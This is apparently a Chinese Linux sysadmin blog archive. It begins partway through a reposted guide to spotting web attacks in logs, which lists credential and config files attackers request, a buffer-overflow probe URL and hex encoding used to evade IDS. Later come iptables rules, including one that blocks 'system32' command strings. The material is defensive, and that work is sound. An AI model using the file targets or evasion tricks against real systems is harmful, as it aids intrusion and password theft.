當用戶登陸進unix系統中出現的資訊,就在這個"Message of the Day" 檔中 ,它提供重要的系統資訊和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本資訊,攻擊者通常查看此檔,瞭解是什麼系統在運行, 對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權

"/etc/hosts"

該檔提供ip位址和網路資訊,攻擊者可以瞭解更多的系統中的網路設置

"/usr/local/apache/conf/httpd.conf"

這是個Apache web伺服器的配置檔,攻擊者可以瞭解諸如cgi,ssi是否可訪問等資訊

"/etc/inetd.conf"

這是inetd服務的配置檔,攻擊者可以瞭解遠端機器上的那些服務啟動,是否用了wrapper進行訪問控制,如果發現wrapper 運行著,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裡面的一些設置,獲得特權

".htpasswd, .htaccess, and .htgroup"

這些檔通常在web站點用於對用戶身份進行認證,攻擊者會查看這些檔,並獲得用戶名和密碼,密碼檔.htpasswd被加密過,通過一些簡單的破解程式進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)

"access_log and error_log"

這些是apache伺服器的日誌記錄檔,攻擊者常會查看這些檔,看那些請求被記錄,那些和其他請求不同的地方
通常,攻擊者會修改這些日誌檔,比如他自身的位址資訊,攻擊者通過80埠突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程式記錄系統狀況,這將使入侵檢測工作變的很困難

"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"

Windows NT系統中的密碼檔,如果遠端命令不可以執行,通常攻擊者會請求這些檔,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼檔,如果成功那麼遠端機器將被攻擊者得到控制權

[溢出 分析]
我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現
下面是個簡單的列子
Example:

http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

這個列子展示了攻擊者對某個應用程式發送很多的A字元,來測試程式的緩衝溢出,緩衝溢出可以獲得遠端主機的命令執行許可權,如果是具有 setuid和屬主為root的程式,通過溢出,可以得到整個系統的訪問許可權,如果不是setuid之類的程式,那麼溢出僅僅是得到運行該web站點的 用戶許可權
這裡並不能講述所有的情況,不過你應該有定時的檢查你的日誌檔,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網路蠕蟲的攻擊

[編碼轉換]
以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式, 導致IDS會忽略這些請求,我們熟知的CGI漏洞掃瞄工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字 元,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊
一種快速發現的方法是,將你的日誌檔中的那些16進制的請求,拷貝到你的流覽器中,通過流覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。

[結論]
這篇文章不可能覆蓋所有的80埠的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌檔,和怎樣加如一些IDS的規則, 寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程式的開發者寫出更好的web程式

作者註:如果你有什麼註解和建議,請發電子郵件
niska@21cn.com

http://bbs.ccidnet.com/showthread.php?threadid=207099

/dev、/sys跟udev

過去設備檔案大多放在/dev底下,所以ls /dev總是有很多的設備檔案,不管是用得到的,用不到的都放在下面,實在管理上面有好些麻煩,再者plug and play的裝置太多,這樣的設計已經不合時宜,所以開發出了外一套的管理方式就是udev跟sys
sys主要就是把設備有規律的管理起來,使用樹狀結構,跟udev配合起來有幾項優點
  • /sys將只有呈現使用中的設備
  • 不需要major/minor number
  • 可以自行定義高可讀性的名稱,比方把eth1改為NAT_out_card
  • 可以再新增硬體的時候執行相對應的script
讀取相關資訊
udevinfo -ap /sys/class/net/eth1
定義的script存在/etc/udev/rules.d內

2009年12月9日

記憶體使用的疑問?free vs 系統監控

在使用系統監控跟free指令的時候,明顯的記憶體耗用不一樣,free顯示記憶體幾乎"一去不回頭"

只好問問google囉,然後看看網路上的"傳說"(傳說中拔到獅子的鬃毛...)
不同的 process 是可以 share memory 的,
因此把所有 process 的記憶體用量加起來會大於或等於實際記憶體的用量

此外 Linux 核心似乎會常會看到有不少 buffer,也就是說 process 執行時原先
要了一些記憶體來使用,在釋放記憶體時不會直接釋放而是先作為buffer除非
其他的 process 需要用到記憶體才會將 buffer 釋放,然後交給其他 process使用

Sun Solaris 就比較少有這種狀況, buffer通常不會吃得像Linux那麼誇張

不過老實說,我對這樣的說法還不確定,還有就是這現象存疑,到底分別是抓哪個的資料造成這樣的不同??

initrd中的init script

init script不是init process,他是initrd中執行的一個script,做一些很重要的工作,使用的是nash這個shell,好處大概就是小、快,但功能有限。init script執行了底下的工作
  1. 掛載系統檔案
  2. 建立設備(device)所需要的檔案系統
  3. 初始化設備檔案
  4. 載入相關模組
  5. 切換到作業系統
掛載系統檔案
init會掛載/proc/sys,/proc主要放置執行跟一些硬體的資訊,比方說process info或者cpuinfo 。 /sys在2.6後產生的,主要是對付設備(/dev)檔案混亂跟處理過去procfs放了太多資料,還有hotplug的設備
建立設備(device)所需要的檔案系統
會產生/dev/pts/dev/shm/dev/mapper這三個目錄
初始化設備檔案
內有產生很多設備檔案的script,比方說
mknod /dev/null c 1 3
mknod /dev/zero c 1 5
...
載入相關模組
會看到很多
...
echo "Loading ext3.ko module"
insmod /lib/ext3.ko
echo "Loading scsi_mod.ko module"
insmod /lib/scsi_mod.ko
...
載入一些預設的硬體裝備的driver
切換到作業系統
最後是chroot跟switchroot

2009年12月8日

Linux是玩家在玩的作業系統[宿命]!?

接觸了linux這許多年之後,我開始真的認為Linux真的會變成玩家在玩的系統,因為他跟M$不大一樣,很多細節需要去瞭解,因為瞭解,慢慢地就開始愈陷愈深,然後講到比較艱深的地方的時候,許多一般使用者就跟不上,然後把linux的人當作玩家
不知道我是否沒接受過M$的教育訓練的關係,我並不知道如何去加速M$的開機速度,我也不知道M$底下到底開了多少服務,反觀因為在網路上搜尋跟書本上學習的結果,我相對對linux比較有把握,真的認為open source真的很好,可以掌握的地方比較多

M$把所有的東西包起來,簡單的跟使用者說,你都不需要懂啦,只要會用就好,好像跟一般人說你只要會開車就好,剩下的有問題請回原廠,車子還好,大多問題回原廠可以解決,可是電腦很多會說~硬體廠商(比方說電視卡)說你這是作業系統的問題,M$說你這是電視卡驅動程式的問題,這真的比較好嗎?
linux是open source,所以大家遇到無法解決的問題的時候,會去打開引擎蓋來看看,東修理西動動的,這樣就被冠上了"黑手"/玩家的稱號了,久了大家也認為玩linux的大多是玩家

我覺得M$與linux都存在著矛盾,M$認為使用者不需要瞭解太多,然後他也權限全開,讓一大堆病毒跟木馬很容易入侵,真真的安全或者容易使用真的應該是來自使用者的自覺跟瞭解,就像是一般人不會認為開車應該是與生俱來的技能一樣,他們會去上補習班,會去學習才是對的。
linux覺得我已經弄得很好了,也open source了,請大家有問題自己去改吧,一般使用者沒有太大的能力去改變一些東西,這樣的方式會讓他們覺得這東西很難使用,因為這關係讓他們不會深入去學習這開放的系統

最後來說,在設計理念、學習理解和使用者的認知,三者之間的力道拉扯,造就了現在這種狀況,我想短時間內,真的linux還是玩家在玩得系統

initrd

從之前提到的開機程序得知,grub會載入kernel,接著kernel會載入initrd這個檔案,在過去2.4他可能是個image file,或者現在的壓縮檔案
kernel會在記憶體中開啟一塊rootfs空間,再把initrd mount在這rootfs上,initrd會去載入一些kernel
事先沒有載入的檔案,比方說硬碟的驅動程式
initrd會建立一些目錄架構,跟著也會建立/dev,他用來存放設備檔案,/lib目錄用以存放一些module,接著還會載入很重要的init
如果有一些關於module的觀念就會知道,module可以藉由modprobe來載入,可是一般modprobe的時機是在作業系統載入之後,如果必須要在開機的時候就用到的還是必須修改initrd來達成

Fedora
在fedora自行製作initrd使用mkinitrd指令,如果預設使用mkinitrd,將會依照/etc/modprobe.conf (2.4使用/etc/modules.conf)去搜尋module,由/etc/fstab決定要掛載的directory

再使用mkinitrd之前必須確定,modules已經放到/lib/modules底下正確的位置
mkinitrd --with=ntfs initrd_new.img 2.6.18-1.2798.fc6
cp initrd_new.img /boot
vim /boot/grub/grub.conf
其實最後一步驟是修改grub的設定,將載入的initrd變成我們編譯出來的檔案,grub2或許會有些不同

Ubuntu
ubuntu早期也是使用mkinitrd,目前已經取代為initrd-tools內的工具,工具程式為mkinitramfs,將要載入的modules放到/lib/modules相對應的位置(依照kernel版本位置不大一樣),然後將要載入的module名稱增加到/etc/initramfs-tools/modules內,其他設定在/etc/initramfs-tools/initramfs.conf內最後執行
mkinitramfs -o /boot/initrd.img-2.6.12-9-386 /lib modules/2.6.12-9-386
剩下就是拷貝initrd到/boot下跟修改grub設定
可以參考範例

2009年12月7日

init process

這個process是核心載入之後第一個執行的process,一般他的PID為1,init會指引其他流程,尤其是執行/etc/rc.d/rc.sysinit,大致的流程如下

以fedora為例,rc.sysinit做了哪些事情呢?
  • /etc/sysconfig/network:網路設定
  • /proc/mounts:檢查主要系統檔案是否存在
  • /proc/bus/usb:usb drivers
  • /etc/init.d/functions:一個很重要的script,裡面有很多的環境變數跟設定
  • /etc/selinux/config:selinux設定值
  • /sbin/setsysfont:設定基本的字形
  • /etc/sysconfig/clock:系統時間
  • /bin/dmesg:系統訊息
  • sysctl:設定一些module所需要的值,後面才會載入module
  • /bin/taskset:設定cpu
  • /sbin/start_udev、/etc/rc.modules:載入modules
接著是GUI等等的相關階段,跟著有其他的工作
  • /dev/pts:產生第一個tty介面
  • sysctl:主要是一些/proc/sys下的開關(on/off)值的設定
  • /etc/sysconfig/keyboard:設定鍵盤
  • /etc/mdadm.conf:software RAID(如果沒有用到就沒有)
  • /dev/mapper:LVM機制,同上
  • /ect/crypttab:啟動區塊加密機制
  • /fastboot、/fsckoptions、/forcefsck、/.autofsck、/etc/sysconfig/autofsck:檢查磁碟動作
  • /etc/sysconfig/readonlyroot:是否將root dir設定為唯讀
  • ipaddr:啟動網路
  • /sbin/quotacheck:檢查disk quota
  • mount /:將root dir重新mount為read/write
  • restrecon:
  • /etc/mtab:
  • /sbin/quotaon:打開quota功能

  • /usr/bin/rhgb:
  • /.unconfigured:
接下來會清除一些產生出來的檔案跟lock
  • rm files:刪除由.unconfigured跟fsck產生的檔案
  • /var:刪除/var/lock跟/var/run下檔案,有些存在/var下
  • /tmp:刪除lock檔案
接著可能啟動x-win的相關事宜跟相關設定
  • /tmp/.ICE-unix:產生x-win所需的目錄
  • blkid:啟動swap
  • /usr/sbin/system-config-network-cmd:開機網路設定
  • dmesg:寫入訊息
  • /.autofsck:
  • /usr/bin/rhgb-client:
大致上rc.sysinit至此告一段落,由inittab開始決定執行那個run level

2009年12月6日

postfix mail server -- 加入認證

需要額外安裝cyrus-sasl,並且在/etc/main.cf內加入以下設定
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname
smtpd_recipient_restrictions = permit_mynetworks, permit_auth_destination, permit_sasl_authenticated, reject
加上上次的設定,這樣一來才不會隨便的relay跟讓人可以隨意使用mail server,必須要有帳號密碼才可以,無意間變成垃圾信主機可是會惹上麻煩的

2009年12月5日

google提供DNS Service

http://code.google.com/intl/zh-TW/speed/public-dns/
兩台主機
  • 8.8.8.8
  • 8.8.4.4
號稱可以增加安全性的理由
http://code.google.com/intl/zh-TW/speed/public-dns/docs/security.html

postfix mail server

先在/etc/named.conf下新增對應的domain,比方說
...
zone "sky.com"{
type master;
file "named.sky.com";
};
...
/var/named/chroot/var/named/新增檔案named.sky.com,並且加入MX紀錄
安裝postfix完畢後可以修改/etc/postfix/main.cf內的參數,這些參數散在各行之間
mydomain=sky.com
myhostname=mail.sky.com
myorigin=$mydomain
mynetworks=192.168.217.0/24,127.0.0.0/24
inet_interfaces=all
mydestination=$myhostname, localhost,$mydomain,localhost
home_mailbox=Maildir/
  • mydomain:網域名稱
  • myhost:mail server主機名稱
  • myorigin:來源名稱(對其他MTA)
  • networks:表示信賴的以及幫忙relay信件的網域
  • inet_interfaces:表示監控的internet的介面卡/網路卡
  • home_mailbox:儲存mail的地方,如果不設定預設為/var/spool/mailbox,這裡的意思是把mailbox送到各個使用者的家目錄下
重新啟動postfix之後就可以用smtp protocol收發信了


為了讓使用者可以透過pop3或者imap做收發信的動作,需另外安裝dovecot套件
修改/etc/dovecot.conf
取消兩處註解
protocols = imap imaps pop3 pop3s
mail_location = maildir:~/Maildir
重新啟動server

防火牆 -- iptables幫IIS一把

IIS常常可以接受命令格式,然後就去執行系統程式,這些系統程式大多放在system32下
iptables -A FORWARD -i eth0 -o eth1 -p tcp -d $IIS_IP --dport 80 -m string --algo bm --string "system32" -j DROP

2009年12月4日

[轉載]十大優秀開源網絡管理工具

http://hi.baidu.com/dontcry/blog/item/dcafcebf18a0b10d18d81f7b.html
十大優秀開源網絡管理工具

2008-11-21 12:37

很多網絡界的朋友都不得不面臨一個抉擇,那就是在網絡系統搭建起來後,選擇哪一款網絡管理軟件?目前網絡管理軟件太多了,支持的系統也是五花八門,我用過MRTG,PRTG和OpenNMS,都是免費的,交費的用不起呀!

所以,希望轉載的這篇文章對大家會有所幫助,祝你們找到自己的喜愛!

---------------------------------------------------------------

如 果您的公司排名在Fortune 1000強和中小企業之間,那麼您網絡管理的選擇形勢看似比較嚴酷。你既不能在小市場上收集一堆拙劣的玩意來組成一個解決方案;你也不能花很多錢買一些真 正不需要的高科技產品。這裡有一個很好的選擇:試用可一個開源的網絡管理方案,加專業服務,包括開發和技術支持。

Open Source = Flexible 開源=靈活性

一個開源的解決方案對廠商來說也是非常靈活性的,他們很快地增加新技術的支持,比改進一個私有系統更快。例如:當Ubuntu 7.04 「Fiesty Fawn」四月份發佈之後, Hyperic HQ在發佈的第二天就宣佈了對其提供技術支持。

當談到開源的網絡管理方案時,公司最需要也用的最多的技術莫過與監控功能。不過監控技術在很大程度上已經變成了日用品。

通常的,專業化版本的開源IT管理軟件平台集成多個其他開源項目在一個框架中,像Nagios網絡監控等;並且加入統一的網絡界面;並且提供技術支持服務。另外,他們都想通過強大的社區來提高和改進代碼,跟蹤bug等。

六個企業級平台

下面的六個開源IT管理都可能用作HP, IBM, CA 和 BMC大型管理套件的替代品。每一個都能提供低價的專業服務和免費軟件下載。它們的不同支持在與所提供的功能和支持的操作系統

Quest Big Brother
http://www.quest.com/bigbrother/

這 個Web-based系統和網絡監控產品能支持 Windows, Unix 和Linux等操系統, 還有一個通過用戶投稿形成的腳本知識庫,利用它能容易地定製Big Brother取管理你的網絡。它的GUI是一個不錯的特色,使用相同的顏色代碼;紅色代表不好,綠色代表好。

GroundWork Open Source Monitor Professional
http://www.groundworkopensource.com/dow ... nload.html

2004 年發佈,它是最早的企業級網絡管理產品之一。它集成了超過100種最好的開源項目,包括Nagios, Apache 和 NMap, 在這個框架之上有添加了很多特有功能,例如Web-based用戶界面等。Monitor提供了集中化的監控和管理,管理和監控你的企業網絡,包括 Linux, Unix 和Windows 服務器, 應用, 數據庫和網絡設備。

Hyperic HQ Enterprise
http://www.hyperic.com/downloads/

瞄準的是一個數據中心,Hyperic被設計為去監控和管理Web應用的所有層次, 包括硬件、中間件、虛擬化、Web和開放式應用。它還提供基線和趨勢分析。它支持 Apache, JBoss, Linux和更多應用。

OpenNMS
http://blog.chinaitlab.com/option=com_f ... mid=1.html

這個 Java-based 網絡管理工具專注於網絡服務輪詢,數據採集和事件/告警管理。它目前支持多種開放式操作系統,包括Linux, Mandrake 和Solaris,還有Mac OS X; Windows 系統的支持計劃在OpenNMS 2.0中實現。

OpenQRM
http://www.openqrm.org/

也瞄準了數據中心的管理,OpenQRM不僅能管理數以千計的Linux和Windows服務器,還能跟蹤計量你的數據中心的使用率和效率。 他還能做自動化基於策略的provisioning。它也集成了Nagios作為監控功能。

Zenoss Core
http://www.zenoss.com/product/

基本上都是Python寫的,這個管理平台提供了服務器、網絡設備、OS和應用的事件管理、可用管理、和性能管理。Zenoss 能運行於Linux, FreeBSD 和 Mac OS X;它也可以作為一個Zenoss 虛擬應用運行在VMplayer 裡。


四個無支持的項目

這四個項目位於TOP10 開源網絡管理工具中。不像那六個產品,它們不提供商業的服務和企業級的增強功能。但是它們是絕對的free,而且你可以擁有所有需要的網絡健康性檢查功能。

Nagios
http://www.nagios.org/

這是一個開源的運行在Linux操作系統上的主機、服務和網絡監控程序。

Just For Fun Network Management System (JFFNMS)
http://www.jffnms.org/

JFFNMS能監控標準的SNMP (Simple Network Management Protocol) 網絡設備,服務器、路由器和TCP端口。它工作在Linux, FreeBSD 和Windows 2000/XP。

Big Sister System and Network Monitor
http://www.bigsister.ch/

這個項目包括了real-time system 和network health monitor, 一個Web 應用框架和一個系統管理應用。

Netdisco
http://netdisco.org/

這個Web-based應用被設計為管理中道大型網絡和其中的SNMP網絡設備。

--------------------------------------------------------------

好吧,全文就完了,行動吧!

管理3.5G網路

其實這已經是很多人在問的問題,解決方案有幾個
  • 政策上明言禁止
  • 使用大哥大電波阻斷器
  • 封鎖電腦上面usb裝置或者在電腦上安裝禁止使用的軟體
  • 政策上給予替代手機方案

2009年12月3日

防火牆-iptables與阻擋Port Scan

只允許在長時間內建立有限的連線
iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p all -m state --state NEW -m recent --name posrtscan --update --second 600 --hitcount 10 -j DROP
iptables -A INPUT -p tcp --syn -m state --state NEW -m multiport --dports 22,25,80,110 -j ACCEPT
iptables -A INPUT -p all -m recent --name portscan --set
其實這方法有明顯缺點,並不是單一用戶不會在短時間內做出大量的連線的

2009年12月2日

防火牆 -- 阻擋砍站軟體

阻止類似HTTPTrk這類的軟體
iptables -I INPUT -p tcp --dport 80 -d SERVER_IP -m state --state NEW -m recent --name httpuser --set
iptables -A INPUT -m recent --update --name httpuser --seconds 60 --hitcount 9 -j LOG --log-prefix 'HTTP attack: '
iptables -A INPUT -m recent --update --name httpuser --seconds 60 --hitcount 9 -j DROP

2009年12月1日

使用telnet跟mail server溝通

其實telnet有時候可以提供一種簡單的模式讓我們來觀察架設的server是否良好運作,底下提供一個SMTP的mail server的例子,為了簡化,故意不採用認證密碼,也可以open rely,不過這個server是躲在防火牆後的VM,且用完就關閉了,所以可以這樣
[root@localhost]# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.sky.com ESMTP Postfix <=目前該mail server的地址
Helo godness.sky  <=隨便輸入domain
250 mail.sky.com
mail from:godness@sky <=隨便填寫來源
250 2.1.0 Ok
rcpt to:child@mail.sky.com <=直接寄信給某個人
250 2.1.5 Ok
DATA
354 End data with .
test~~~
.<=用單一行一個句點作結束
250 2.0.0 Ok: queued as 7869610638
QUIT
221 2.0.0 Bye
Connection closed by foreign host.